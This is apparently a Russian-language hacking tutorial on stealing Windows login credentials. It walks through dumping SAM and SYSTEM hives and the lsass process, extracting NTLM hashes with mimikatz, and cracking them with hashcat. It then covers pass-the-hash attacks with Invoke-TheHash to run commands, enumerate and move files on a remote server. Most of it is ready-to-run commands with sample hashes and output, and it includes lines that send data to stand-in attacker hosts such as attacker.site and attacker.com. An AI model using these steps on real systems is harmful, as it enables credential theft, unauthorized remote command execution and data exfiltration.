пароль Windowsпароль Windows

T.me В этой статье мы узнаем, где в Windows хранится пароль пользователя, как извлечь данные для взлома пароля Windows, как раскрыть пароль пользователя и как их использовать даже без брут-форса.

Не каждый пользователь использует пароль на Windows — особенно редко пользователи устанавливают пароль на домашнем компьютере, за которым работает один человек. Но в условиях корпоративной сети или при использовании Windows в качестве сервера, пароль является обязательным. Ещё одно интересное свойство пароля пользователя Windows: если пользователь завёл онлайн учётную запись Microsoft, то хеш пароля всё равно хранится на локальном компьютере, но расшифрованный пароль подойдёт и для локального компьютера, и для онлайн сервисов Microsoft.

Где Windows хранит пароль входа пользователя?

Пароли пользователей Windows хранятся в кустах (hives) реестра Windows под названием SYSTEM и SAM в файлах:

  • C:/Windows/System32/config/SAM
  • C:/Windows/System32/config/SYSTEM

Вместо пароля в виде простого текста, Windows хранит хеши паролей. Эти хеши легко поддаются брут-форсу, но даже без взлома хеши паролей Windows можно использовать для сбора данных и выполнения атак.

Как получить хеши паролей Windows

Дамп хешей паролей Windows на работающем компьютере

На запущенной системе проблематично получить доступ к файлам C:/Windows/System32/config/SAM и C:/Windows/System32/config/SYSTEM, хотя это и возможно. Для сохранения копий этих файлов можно использовать утилиту reg, а именно следующие команды:

12reg save HKLM\SYSTEM SystemBkup.hivreg save HKLM\SAM SamBkup.hiv

В некоторых инструкциях вместо SYSTEM сохраняют куст SECURITY — это ошибка, с кустами SECURITY и SAM восстановить хеш не удасться, нужны именно SYSTEM и SAM!

Хеш пароля также содержится в оперативной памяти, а именно в процессе Local Security Authority Process (lsass.exe). Этот процесс всегда запущен в работающей Windows и можно сделать его дамп (копию процесса в оперативной памяти сохранить на диск в виде файла). Для создания дампа можно использовать различные утилиты, в том числе две официальные:

Диспетчер задач уже имеется в каждой Windows, чтобы его открыть нажмите Win+r и наберите taskmgr, затем нажмите ENTER. Либо правой кнопкой мыши нажмите на панель задач (то есть на нижнюю полоску, где находятся часы, кнопка пуск и т. д.) и в контекстном меню выберите «Диспетчер задач».

taskmgr

В Диспетчере задач нажмите «Подробнее» и во вкладке «Процессы», в разделе «Процессы Windows» найдите Local Security Authority Process, нажмите на него правой кнопкой мыши и выберите в контекстном меню пункт «Создать файл дампа»:

taskmgr 2

Дождитесь завершения:

taskmgr 3

Файл будет сохранён по пути C:\Users\ПОЛЬЗОВАТЕЛЬ\AppData\Local\Temp\lsass.DMP. У меня имя пользователя MiAl и путь до файла C:\Users\MiAl\AppData\Local\Temp\lsass.DMP.

Дамп хешей паролей Windows на выключенном компьютере

На выключенном компьютере для последующего извлечения пароля пользователя достаточно скопировать файлы:

  • C:/Windows/System32/config/SAM
  • C:/Windows/System32/config/SYSTEM

Эти же файлы можно найти в резервной копии Windows или в Shadow копии диска, либо скопировать загрузившись с Live системы.

Чем различаются хеши NTLM и NTLMv1/v2 и Net-NTLMv1/v2

Сейчас мы будем охотиться за хешем NTLM.

На самом деле, NTLM и NTLMv1/v2 это довольно разные вещи. Хеш NTLM хранится и используется локально, а хеши NTLMv1/NTLMv2 используются для сетевой аутентификации и являются производными хеша NTLM. Используя любой из этих хешей можно расшифровать пароль пользователя Windows, но это разные алгоритмы шифрования/взлома.

Для атаки Pass-the-hash (мы рассмотрим её в этой статье) применим только хеш NTLM, а хеши NTLMv1/NTLMv2 не подходят.

Остался ещё один вопрос, что такое хеши Net-NTLMv1/v2. Хеши Net-NTLMv1/v2 это сокращённое название для хешей NTLMv1/v2, то есть NTLMv1/v2 и Net-NTLMv1/v2 это одно и то же. А NTLM это другое.

В этой статье мы будем извлекать, взламывать и эксплуатировать без взлома хеш NTLM.

Что такое mimikatz

Программа mimikatz хорошо известна за возможность извлекать пароли в виде простого текста, хеши, ПИН коды и тикеты kerberos из памяти. mimikatz также может выполнять атаки pass-the-hash, pass-the-ticket или строить Golden тикеты.

В этой инструкции мы рассмотрим только способность mimikatz извлекать хеши NTLM. Помните, у mimikatz есть и другие очень интересные функции — посмотрите, какая у неё обширная справка: https://kali.tools/?p=5342

Имеются реализации mimikatz в Meterpreter & Metasploit, DLL reflection в PowerShell и других продуктах. В принципе, mimikatz можно запускать в Wine на Linux, но не будут работать функции, связанные с извлечением данных непосредственно из Windows; функции извлечения хешей из дампов или расшифровки из файлов реестра должны работать в Linux.

Как установить mimikatz в Windows

mimikatz — это портативная утилита командной строки. То есть установка не требуется, но нужно уметь запустить, если вы не очень знакомы с командной строкой.

1. Перейдите на страницу https://github.com/gentilkiwi/mimikatz/releases, скачайте файл mimikatz_trunk.7z или mimikatz_trunk.zip. Распакуйте скаченный архив.

2. Откройте PowerShell (Win+xWindows PowerShell (администратор)) или командную строку (Win+rcmd).

3. В командной строке с помощью команды cd перейдите в папку с исполнимым файлом mimikatz.exe. К примеру, архив распакован в папку C:\Users\MiAl\Downloads, тогда исполнимый файл будет в папке C:\Users\MiAl\Downloads\mimikatz_trunk\x64\:

1cd C:\Users\MiAl\Downloads\mimikatz_trunk\x64\

4. Запустите исполнимый файл.

1.\mimikatz.exe

Как извлечь хеш пароля пользователя NTLM из файлов реестра

Следующие команды нужно выполнять в консоли mimikatz.

Команда log включает запись всего вывода в ФАЙЛ:

1log ФАЙЛ

К примеру, для запуска всего вывода в файл hash.txt:

1log hash.txt

Я скопировал с выключенного компьютера файлы SYSTEM и SAM, теперь для извлечения хеша мне нужно запустить команду вида:

1lsadump::sam /system:C:\путь\до\SYSTEM /sam:C:\путь\до\SAM

Пример моей команды:

1lsadump::sam /system:C:\Share-Server\files\SYSTEM /sam:C:\Share-Server\files\SAM

Пример вывода:

mimikatz

Вывод довольно обширный и много не до конца понятных данных. Интерес представляют последовательно идущие строки вида:

12User : ПОЛЬЗОВАТЕЛЬ  Hash NTLM: ХЕШ

В моём примере интересные строки:

12345User : ShareOverlord  Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6 User : Alexey  Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Также есть строки с именами пользователей:

12User : MiAlUser : Администратор

Но после них нет строк с хешем NTLM, поскольку у этих пользователей не установлен пароль в системе.

Если вы хотите извлечь данные из файлов реестра текущей операционной системы, то выходим из mimikatz, для этого нажмите Ctrl+c.

Теперь сделаем дамп кустов реестра SYSTEM и SAM текущей системы:

12reg save HKLM\SYSTEM SystemBkup.hivreg save HKLM\SAM SamBkup.hiv

Вновь запускаем mimikatz:

1.\mimikatz.exe

Включаем ведение журнала:

1log hash-local.txt

И выполняем команду с указанием файлов, в которые сохранены дампы кустов реестра, то есть SystemBkup.hiv и SamBkup.hiv:

1lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

Пример вывода:

Hash NTLM

Здесь найден только один пользователь с хешем:

12User : Администратор  Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

На самом деле, для извлечения хешей NTLM из локальной системы необязательно было делать дамп кустов реестра. Другой вариант — повысить привилегии самой программы mimikatz и извлечь хеши непосредственно из системы. Для этого выполните команды:

1234privilege::debugtoken::elevatelog hash-local2.txtlsadump::sam
mimikatz 2

Извлечение хеша NTLM из дампа lsass.DMP

По логике (и на практике) в дампе процесса Local Security Authority Process должен быть хеш только пользователя, выполнившего вход с паролем.

Вначале укажите путь до файла дампа командой вида:

1sekurlsa::minidump C:\путь\до\lsass.DMP

Например:

1sekurlsa::minidump C:\Share-Server\files\lsass.DMP

Затем выполните команду:

1sekurlsa::logonPasswords

Брут-форс хеша NTLM

Для взлома я возьму следующий хеш:

12User : Alexey  Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Загляним в справку Hashcat, чтобы узнать номер режима хеша NTLM:

11000 | NTLM                                             | Операционные системы

То есть номер хеша NTLM равен 1000.

Чтобы запустить атаку по маске для взлома NTLM в Hashcat нужно выполнить команду вида:

1hashcat -m 1000 -a 3 'ХЕШ' МАСКА

Пример моей реальной команды:

1hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1

В этой команде:

  • hashcat — имя исполнимого файла. В Windows это может быть hashcat64.exe.
  • —force — игнорировать предупреждения
  • —hwmon-temp-abort=100 — установка максимальной температуры, после которой будет прерван перебор, на 100 градусов Цельсия
  • -m 1000 — тип хеша NTLM
  • -D 1,2 — означает использовать для взлома и центральный процессор, и видеокарту
  • -a 3 — означает атаку по маске
  • -i — означает постепенно увеличивать количество символов в генерируемых паролях
  • —increment-min 1 — означает начать с длины маски равной единице
  • —increment-max 10 — означает закончить перебор при длине маске равный десяти
  • -1 ?l?d — пользовательский набор символов номер 1, в него включены маленькие латинские буквы (?l) и цифры (?d)
  • ca76a176340f0291e1cc8ea7277fc571 — хеш для взлома
  • ?1?1?1?1?1?1?1?1?1 — маска из пользовательского набора символов
hashcat NTLM

Взломаем ещё один хеш:

12User : Администратор  Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

Команда (другой хеш и другой набор пользовательских символов):

1hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1
hashcat NTLM 2

Итак, в этой статье мы научились извлекать хеш NTLM и взламывать пароль Windows. А что делать, если не удалось взломать NTLM? Ответ на этот вопрос читайте далее:

Атака Pass-the-hash (как использовать NTLM без взлома пароля)

Как использовать NTLM без взлома пароля: атака Pass-the-hash

Атака Pass-the-hash позволяет не подбирать пароль, а использовать непосредственно хеш.

mimikatz может выполнить известную операцию ‘Pass-The-Hash’ для запуска процесса под другими учётными данными с хешем NTLM пользовательского пароля вместо его реального пароля. Для этого программа запускает процесс с поддельной идентификацией, затем заменяет фальшивую информацию (NTLM хеш фальшивого пароля) на реальную информацию (NTLM хеш реального пароля).

Для выполнения этой атаки mimikatz, который умеет выполнять команды от другого пользователя, вначале нужно дать процессу привилегии отладки debug:

123privilege::debugtoken::whoamitoken::elevate

Затем нужно запустить команду вида:

1sekurlsa::pth /user:ПОЛЬЗОВАТЕЛЬ /domain:ДОМЕН /ntlm:ХЕШ /run:КОМАНДА

Вместо ДОМЕН нужно указать полностью определённое доменное имя или имя рабочей группы, если выполняется для локального пользователя. Опцию /run:КОМАНДА можно пропустить и тогда будет выполнено cmd.exe (откроется приглашение командной строки).

Пример:

1sekurlsa::pth /user:Alexey /domain:workgroup /ntlm:ca76a176340f0291e1cc8ea7277fc571 /run:taskmgr

Но мне кажется, что это не работает (возможно, я делаю что-то не так).

Но точно работает программа Invoke-TheHash, которая использует NTLM хеш для выполнения команд на удалённых системах, а также сбора информации и работе с файлами в сетевых папках. То есть для всех этих действий не требуется расшифровывать пароль из NTLM хеша.

Invoke-TheHash включает в себя следующие функции:

  • Invoke-WMIExec (выполнения команд через WMI)
  • Invoke-SMBExec (выполнения команд через SMB (PsExec))
  • Invoke-SMBEnum (выполняет перечисление пользователей, групп, сетевых сессий и совместных ресурсов)
  • Invoke-SMBClient (клиент SMB)
  • Invoke-TheHash (для запуска функций Invoke-TheHash в отношении множества целей)

Установка и запуск Invoke-TheHash в Windows

Скрипты Invoke-TheHash написаны на PowerShell, поэтому настоятельно рекомендуется ознакомиться со статьёй «Настройка рабочего окружения PowerShell в Windows и Linux» в которой вы найдёте ответы на многие вопросы новоичков в использовании PowerShell, а также пример исправления ошибки в скрипте Invoke-TheHash при его запуске в Linux.

Скачайте файлы скриптов: https://github.com/Kevin-Robertson/Invoke-TheHash/archive/master.zip

Переходим в каталог со скриптами (у вас может быть другой путь):

1cd C:\Users\MiAl\Downloads\Invoke-TheHash-master\

Для запуска импортируйте функции:

1Import-Module ./Invoke-TheHash.psd1

И используйте эти функции для запуска:

12345Invoke-WMIExecInvoke-SMBExecInvoke-SMBEnumInvoke-SMBClientInvoke-TheHash

В качестве целевого компьютера мы будем использовать Windows Server 2019, имя компьютера HACKWARE-SERVER, IP компьютера 192.168.0.53. При запуске атаки из Windows, можно использовать имя компьютера, а при запуске атаки из Linux, имя компьютера вряд ли будет преобразовано в IP, поэтому лучше сразу указать IP адрес.

Для этого компьютера добыт NTLM хеш:

12User : Администратор  Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

На Windows Server невозможно создать учётную запись Администратора без пароля либо со слабым паролем (смотрите «Какой пароль подойдёт для Windows сервера») и поэтому мы можем предположить, что не удалось взломать NTLM хеш. Рассмотрим варианты, как мы можем его использовать.

NTLM хеш и выполнения команд через WMI

Windows Management Instrumentation (WMI) в дословном переводе — инструментарий управления Windows. WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows.

Если не вдаваться в подробности WMI, то эта технология используется для управления Windows компьютерами по сети и, среди прочего, позволяет выполнять команды на удалённых компьютерах. Минус практической атаки на WMI в том, что по умолчанию на обычных рабочих станциях Windows технология WMI отключена и/или доступ закрыт файерволом. Но на Windows Server технология WMI доступна.

Чтобы удостовериться, доступен ли WMI на удалённом компьютере, нужно запустить команду вида:

1Get-WmiObject -Namespace "root\cimv2" -Class Win32_LogicalDisk -ComputerName ИМЯ_ИЛИ_IP_КОМПЬЮТЕРА -Credential ИМЯ_КОМПЬЮТЕРА\ПОЛЬЗОВАТЕЛЬ

К примеру, я хочу проверить, доступен ли WMI для пользователя Администратор на компьютере с именем HACKWARE-SERVER:

1Get-WmiObject -Namespace "root\cimv2" -Class Win32_LogicalDisk -ComputerName HACKWARE-SERVER -Credential HACKWARE-SERVER\Администратор

Вы увидите окно запроса аутентификации на удалённой системе:

Get WmiObject

И в случае если всё хорошо (пароль правильный и WMI поддерживается), то вы увидите информацию о файловой системе на удалённом компьютере:

Get WmiObject Class Win32 LogicalDisk

Если у вас действительно нет пароля, то переходим сразу к Invoke-WMIExec.

Нужно запустить команду вида:

1Invoke-WMIExec -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Command "КОМАНДА" -verbose

Где:

  • -Target — Имя хоста или IP адрес цели.
  • -Username — Имя пользователя для использования в аутентификации.
  • -Domain — Домен для использования в аутентификации. Этот параметр не нужен с локальными аккаунтами или когда используется @domain после имени пользователя.
  • -Hash — NTLM хеш пароля для аутентификации. Эта функция примет как LM:NTLM, так и NTLM формат.
  • -Command — Команда для выполнения на цели. Если команда не указана, то функция просто проверит, имеет ли пользователь и хеш доступ к WMI на целевой системе.
  • -Sleep — По умолчанию = 10 миллисекунд: Устанавливает значение функции Start-Sleep в миллисекундах.

Моя реальная команда:

1Invoke-WMIExec -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Command "powershell.exe ls C:\ > c:\file.txt" -verbose
Invoke

В этом примере на удалённой системе выполнилась команда:

1powershell.exe ls C:\ > c:\file.txt

То есть в оболочке PowerShell выполнено

1ls C:\ > c:\file.txt

Где

  • ls C:\ — означает показать список файла корня диска C:
  • > — означает полученный результат перенаправить в файл
  • c:\file.txt — это файл, куда перенаправлен вывод команды ls

То есть в результате на удалённой системе должен был создаться файл c:\file.txt, проверим:

По описанной технологии можно запускать бэкдор или любой другой файл или команду.

Используя команду PowerShell Invoke-Webrequest можно передавать файлы с атакуемой машины на другую:

12Invoke-Webrequest https://attacker.site/?base64=СТРОКАInvoke-Webrequest attacker.com/i.php -method POST -infile file.zip

Выполнение команд через PsExec

В целом всё очень похоже на функцию Invoke-WMIExec:

1Invoke-SMBExec -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Command "КОМАНДА" -verbose

В моих тестах мне не удалось перенаправить вывод с SMBExec в файл, но функция работает, например, я выполнил следующую команду:

1Invoke-SMBExec -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Command "powershell.exe Invoke-Webrequest 192.168.0.89" -verbose

Полезной нагрузкой в ней является:

1powershell.exe Invoke-Webrequest 192.168.0.89

Делался запрос к веб-серверу к логам которого у меня есть доступ, и там я увидел соответствующую строку, подтверждающую, что к веб-серверу был сделан запрос от атакуемой машины:

1192.168.0.53 - - [04/Feb/2020:17:19:07 +0300] "GET / HTTP/1.1" 200 2614 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; ru-RU) WindowsPowerShell/5.1.17763.771"

Извлечение информации об удалённой системе из SMB

Invoke-SMBEnum выполняет перечисление пользователей, групп, сетевых сессий и совместных ресурсов (принтеров и сетевых папок) по SMB2.1 с или без входа по SMB.

Использование:

1Invoke-SMBEnum -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -verbose

Все опции уже знакомы, но отсутствует опция с командой. Вместо неё есть новое опция с действием:

  • -Action — (возможные варианты: All, Group, NetSession, Share, User) По умолчанию = Share: Эта опция указывает, какое действие по перечислению выполнить.

Пример реальной команды:

1Invoke-SMBEnum -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action All -verbose

Команда сработала, но что-то не то с кодировкой:

SMBEnum

SMB клиент с входом по NTLM хешу

SMB клиент позволяет скачивать и закачивать файлы на сетевую папку. SMB клиентов много, уникальность Invoke-SMBClient в использовании NTLM хеша вместо пароля:

1Invoke-SMBClient -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Action ДЕЙСТВИЕ -Source \\СЕРВЕР\ПАПКА -Destination ФАЙЛ -verbose

Действие может быть следующим:

  • -Action — По умолчанию = List: (возможные варианты: List, Recurse, Delete, Get, Put) Действие для выполнения.
  • List: Выводит список содержимого директории.
  • Recurse: Выводит список содержимого директории и всех поддиректорий.
  • Delete: Удаляет файл.
  • Get: Загружает файл.
  • Put: Выгружает файл и устанавливает метки времени создания, доступа и последней записи для соответствия исходного файлу.

В зависимости от выбранного действия, источником (Source) может быть следующее:

  • -Source
  • List и Recurse: UNC путь к директории.
  • Delete: UNC путь к файлу.
  • Get: UNC путь к файлу.
  • Put: Файл для выгрузки. Если полный путь не указан, то файл должен быть в текущей директории. Когда используется переключатель ‘Modify’, ‘Source’ должен быть массивом байтов.

В зависимости от выбранного действия, новым файлом на локальной системе (Destination) может быть следующее:

  • -Destination
  • List и Recurse: Не используется.
  • Delete: Не используется.
  • Get: Если используется, значение будет новым именем загруженного файла. Если полный путь не указан, то файл будет создан в текущей директории.
  • Put: UNC путь для выгружаемого файла. Имя файла должно быть указано.

Рассмотрим примеры самых ходовых действий.

Просмотр содержимого сетевой папки с именем Share-Server на компьютере \\HACKWARE-SERVER:

1Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action List -Source \\HACKWARE-SERVER\Share-Server -verbose
Invoke SMBClient

Скачать файл changelog.txt из папки Share-Server с компьютера \\HACKWARE-SERVER и сохранение его в текущую рабочую директорию локального компьютера с именем changelog_server.txt:

1Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action Get -Source \\HACKWARE-SERVER\Share-Server\changelog.txt -Destination changelog_server.txt -verbose

Закачка файла Invoke-TheHash.ps1, расположенного на локальном компьютере в директории C:\Users\MiAl\Downloads\Invoke-TheHash-master\, на компьютер \\HACKWARE-SERVER в папку Share-Server с именем Script.ps1:

1Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action Put -Source C:\Users\MiAl\Downloads\Invoke-TheHash-master\Invoke-TheHash.ps1 -Destination \\HACKWARE-SERVER\Share-Server\Script.ps1 -verbose
Invoke SMBClient 2

Invoke-TheHash

Invoke-TheHash — это функция для запуска функций Invoke-TheHash в отношении множества целей.

Больше подробностей и примеров смотрите в документации: https://kali.tools/?p=5380

От KaligulBorhes

"How long, ignoramuses, will you love ignorance? How long will fools hate knowledge?"